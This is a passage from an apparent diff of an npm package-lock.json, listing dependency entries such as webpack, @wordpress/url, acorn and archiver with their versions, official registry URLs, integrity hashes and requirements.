"sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + } + } + }, + "timers-browserify": { + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz", + "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==", + "dev": true, + "requires": { + "setimmediate": "^1.0.4" + } + }, + "util": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", + "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==", + "dev": true, + "requires": { + "inherits": "2.0.3" + } + }, + "vm-browserify": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz", + "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==", + "dev": true + }, + "watchpack": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.2.tgz", + "integrity": "sha512-ymVbbQP40MFTp+cNMvpyBpBtygHnPzPkHqoIwRRj/0B8KhqQwV8LaKjtbaxF2lK4vl8zN9wCxS46IFCU5K4W0g==", + "dev": true, + "requires": { + "chokidar": "^3.4.0", + "graceful-fs": "^4.1.2", + "neo-async": "^2.5.0", + "watchpack-chokidar2": "^2.0.0" + } + }, + "webpack": { + "version": "4.43.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.43.0.tgz", + "integrity": "sha512-GW1LjnPipFW2Y78OOab8NJlCflB7EFskMih2AHdvjbpKMeDJqEgSx24cXXXiPS65+WSwVyxtDsJH6jGX2czy+g==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-module-context": "1.9.0", + "@webassemblyjs/wasm-edit": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0", + "acorn": "^6.4.1", + "ajv": "^6.10.2", + "ajv-keywords": "^3.4.1", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^4.1.0", + "eslint-scope": "^4.0.3", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^2.4.0", + "loader-utils": "^1.2.3", + "memory-fs": "^0.4.1", + "micromatch": "^3.1.10", + "mkdirp": "^0.5.3", + "neo-async": "^2.6.1", + "node-libs-browser": "^2.2.1", + "schema-utils": "^1.0.0", + "tapable": "^1.1.3", + "terser-webpack-plugin": "^1.4.3", + "watchpack": "^1.6.1", + "webpack-sources": "^1.4.1" + } + }, + "webpack-sources": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "dev": true, + "requires": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + } + } + }, + "@wordpress/hooks": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@wordpress/hooks/-/hooks-2.0.5.tgz", + "integrity": "sha512-EcE7lm5p6f3qB6nJClY3LPejFpbjo66b6j4ihgLLgrWMKqs4lLPGS2OzK4KyP0O52cofKj+Tv/wBaAiYSufFcA==", + "dev": true, + "requires": { + "@babel/runtime": "^7.0.0" + } + }, + "@wordpress/url": { + "version": "2.15.0", + "resolved": "https://registry.npmjs.org/@wordpress/url/-/url-2.15.0.tgz", + "integrity": "sha512-nDGZslWZ6TMve3/09O9b2vGaCP2JXoe95uIrkChkw1DVH3tq/tCg1gwQsPXvhBIw5OmopzwlSEuwwp348hyaCA==", + "requires": { + "@babel/runtime": "^7.9.2", + "lodash": "^4.17.15", + "qs": "^6.5.2", + "react-native-url-polyfill": "^1.1.2" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.10.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.10.2.tgz", + "integrity": "sha512-6sF3uQw2ivImfVIl62RZ7MXhO2tap69WeWK57vAaimT6AZbE4FbqjdEJIN1UqoD6wI6B+1n9UiagafH1sxjOtg==", + "requires": { + "regenerator-runtime": "^0.13.4" + } + }, + "qs": { + "version": "6.9.4", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.4.tgz", + "integrity": "sha512-A1kFqHekCTM7cz0udomYUoYNWjBebHm/5wzU/XqrBRBNWectVH0QIiN+NEcZ0Dte5hvzHwbr8+XQmguPhJ6WdQ==" + }, + "regenerator-runtime": { + "version": "0.13.5", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", + "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" + } + } + }, + "@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true + }, + "abbrev": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.0.tgz", + "integrity": "sha1-0FVMIlZjbi9W58LlrRg/hZQo2B8=", + "dev": true + }, + "abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "peer": true, + "requires": { + "event-target-shim": "^5.0.0" + } + }, + "absolute-path": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/absolute-path/-/absolute-path-0.0.0.tgz", + "integrity": "sha512-HQiug4c+/s3WOvEnDRxXVmNtSG5s2gJM9r19BTcqjp7BWcE48PB+Y2G6jE65kqI0LpsQeMZygt/b60Gi4KxGyA==", + "peer": true + }, + "accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "peer": true, + "requires": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + } + }, + "acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true + }, + "acorn-dynamic-import": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-3.0.0.tgz", + "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", + "dev": true, + "requires": { + "acorn": "^5.0.0" + }, + "dependencies": { + "acorn": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "dev": true + } + } + }, + "acorn-jsx": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-3.0.1.tgz", + "integrity": "sha1-r9+UiPsezvyDSPb7IvRk4ypYs2s=", + "dev": true, + "requires": { + "acorn": "^3.0.4" + }, + "dependencies": { + "acorn": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-3.3.0.tgz", + "integrity": "sha1-ReN/s56No/JbruP/U2niu18iAXo=", + "dev": true + } + } + }, + "acorn-node": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.5.2.tgz", + "integrity": "sha512-krFKvw/d1F17AN3XZbybIUzEY4YEPNiGo05AfP3dBlfVKrMHETKpgjpuZkSF8qDNt9UkQcqj7am8yJLseklCMg==", + "dev": true, + "requires": { + "acorn": "^5.7.1", + "acorn-dynamic-import": "^3.0.0", + "xtend": "^4.0.1" + }, + "dependencies": { + "acorn": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "dev": true + } + } + }, + "ajv": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", + "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", + "dev": true, + "requires": { + "co": "^4.6.0", + "fast-deep-equal": "^1.0.0", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.3.0" + } + }, + "ajv-errors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz", + "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==", + "dev": true, + "requires": {} + }, + "ajv-keywords": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-2.1.1.tgz", + "integrity": "sha1-YXmX/F9gV2iUxDX5QNgZ4TW4B2I=", + "dev": true, + "requires": {} + }, + "align-text": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", + "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", + "dev": true, + "requires": { + "kind-of": "^3.0.2", + "longest": "^1.0.1", + "repeat-string": "^1.5.2" + } + }, + "allure-js-commons": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/allure-js-commons/-/allure-js-commons-1.3.2.tgz", + "integrity": "sha512-FTmoqP36ZjHFT4iLdYamyCFhyj1jqD6BIdiZ5pBlyafDJrFRV76XIXNxwRqbHpSw40o1vHzYi4vGpmREnhnHVw==", + "dev": true, + "requires": { + "file-type": "^7.7.1", + "fs-extra": "^6.0.1", + "js2xmlparser": "^3.0.0", + "mime": "^2.3.1", + "object-assign": "^4.1.1", + "uuid": "^3.0.0" + }, + "dependencies": { + "fs-extra": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-6.0.1.tgz", + "integrity": "sha512-GnyIkKhhzXZUWFCaJzvyDLEEgDkPfb4/TPvJCJVuS8MWZgoSsErf++QpiAlDnKFcqhRlm+tIOcencCjyJE6ZCA==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + } + }, + "mime": { + "version": "2.4.4", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.4.tgz", + "integrity": "sha512-LRxmNwziLPT828z+4YkNzloCFC2YM4wrB99k+AV5ZbEyfGNWfG8SO1FUXLmLDBSo89NrJZ4DIWeLjy1CHGhMGA==", + "dev": true + } + } + }, + "alphanum-sort": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/alphanum-sort/-/alphanum-sort-1.0.2.tgz", + "integrity": "sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=", + "dev": true + }, + "amdefine": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", + "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", + "dev": true + }, + "anser": { + "version": "1.4.10", + "resolved": "https://registry.npmjs.org/anser/-/anser-1.4.10.tgz", + "integrity": "sha512-hCv9AqTQ8ycjpSd3upOJd7vFwW1JaoYQ7tpham03GJ1ca8/65rqn0RpaWpItOAd6ylW9wAw6luXYPJIyPFVOww==", + "peer": true + }, + "ansi-colors": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.3.tgz", + "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==", + "dev": true + }, + "ansi-escapes": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", + "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", + "dev": true + }, + "ansi-fragments": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/ansi-fragments/-/ansi-fragments-0.2.1.tgz", + "integrity": "sha512-DykbNHxuXQwUDRv5ibc2b0x7uw7wmwOGLBUd5RmaQ5z8Lhx19vwvKV+FAsM5rEA6dEcHxX+/Ad5s9eF2k2bB+w==", + "peer": true, + "requires": { + "colorette": "^1.0.7", + "slice-ansi": "^2.0.0", + "strip-ansi": "^5.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "peer": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "peer": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "peer": true, + "requires": { + "color-name": "1.1.3" + } + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "peer": true + }, + "slice-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz", + "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==", + "peer": true, + "requires": { + "ansi-styles": "^3.2.0", + "astral-regex": "^1.0.0", + "is-fullwidth-code-point": "^2.0.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "peer": true, + "requires": { + "ansi-regex": "^4.1.0" + } + } + } + }, + "ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=" + }, + "ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" + }, + "anymatch": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-1.3.0.tgz", + "integrity": "sha1-o+Uvo5FoyCX/V7AkgSbOWo/5VQc=", + "dev": true, + "requires": { + "arrify": "^1.0.0", + "micromatch": "^2.1.5" + } + }, + "appdirsjs": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/appdirsjs/-/appdirsjs-1.2.7.tgz", + "integrity": "sha512-Quji6+8kLBC3NnBeo14nPDq0+2jUs5s3/xEye+udFHumHhRk4M7aAMXp/PBJqkKYGuuyR9M/6Dq7d2AViiGmhw==", + "peer": true + }, + "aproba": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", + "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", + "dev": true + }, + "archiver": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-3.1.1.tgz", + "integrity": "sha512-5Hxxcig7gw5Jod/8Gq0OneVgLYET+oNHcxgWItq4TbhOzRLKNAFUb9edAftiMKXvXfCB0vbGrJdZDNq0dWMsxg==", + "dev": true, + "requires": { + "archiver-utils": "^2.1.0", + "async": "^2.6.3", + "buffer-crc32": "^0.2.1", + "glob": "^7.1.4", + "readable-stream": "^3.4.0", + "tar-stream": "^2.1.0", + "zip-stream": "^2.1.2" + }, + "dependencies": { + "archiver-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", + "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", + "dev": true, + "requires": { + "glob": "^7.1.4", + "graceful-fs": "^4.2.0", + "lazystream": "^1.0.0", + "lodash.defaults": "^4.2.0", + "lodash.difference": "^4.5.0", + "lodash.flatten": "^4.4.0", + "lodash.isplainobject": "^4.0.6", + "lodash.union": "^4.6.0", + "normalize-path": "^3.0.0", + "readable-stream": "^2.0.0" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, + "async": { + "version": "2.6.4", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dev": true, + "requires": { + "lodash": "^4.17.14" + } + }, + "bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "requires": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "readable-stream": { + "version": "3.6.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", + "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + } + } + }, + "tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dev": true, + "requires": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + } + } + } + }, + "archiver-utils": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-1.3.0.tgz", + "integrity": "sha1-5QtMCccL89aA4y/xt5lOn52JUXQ=", + "dev": true, + "requires": { + "glob": "^7.0.0", + "graceful-fs": "^4.1.0", + "lazystream": "^1.0.0", + "lodash": "^4.8.0", + "normalize-path": "^2.0.0", + "readable-stream": "^2.0.0" + }, + "dependencies": { + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "are-we-there-yet": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.4.tgz", + "integrity": "sha1-u13KOCu5TwXhUZQ3PRb9O6HKEQ0=", + "dev": true, + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + } + }, + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "arr-diff": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-2.0.0.tgz", + "integrity": "sha1-jzuCf5Vai9ZpaX5KQlasPOrjVs8=", + "dev": true, + "requires": { + "arr-flatten": "^1.0.1" + } + }, + "arr-flatten": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==" + }, + "arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", + "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=" + }, + "array-find-index": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", + "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=", + "dev": true + }, + "array-union": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz", + "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=", + "dev": true, + "requires": { + "array-uniq": "^1.0.1" + } + }, + "array-uniq": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz", + "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=", + "dev": true + }, + "array-unique": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.2.1.tgz", + "integrity": "sha1-odl8yvy8JiXMcPrc6zalDFiwGlM=", + "dev": true + }, + "arrify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", + "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", + "dev": true + }, + "asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" + }, + "asn1": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", + "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", + "dev": true + }, + "asn1.js": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.9.1.tgz", + "integrity": "sha1-SLokC0WpKA6UdImQull9IWYX/UA=", + "dev": true, + "requires": { + "bn.js": "^4.0.0", + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0" + } + }, + "assert": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/assert/-/assert-1.4.1.tgz", + "integrity": "sha1-mZEtWRg2tab1s0XA8H7vwI/GXZE=", + "dev": true, + "requires": { + "util": "0.10.3" + } + }, + "assert-never": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/assert-never/-/assert-never-1.2.1.tgz", + "integrity": "sha512-TaTivMB6pYI1kXwrFlEhLeGfOqoDNdTxjCdwRfFFkEA30Eu+k48W34nlok2EYWJfFFzqaEmichdNM7th6M5HNw==", + "dev": true + }, + "assert-plus": { + "version": "1.0.0", + "resolved": 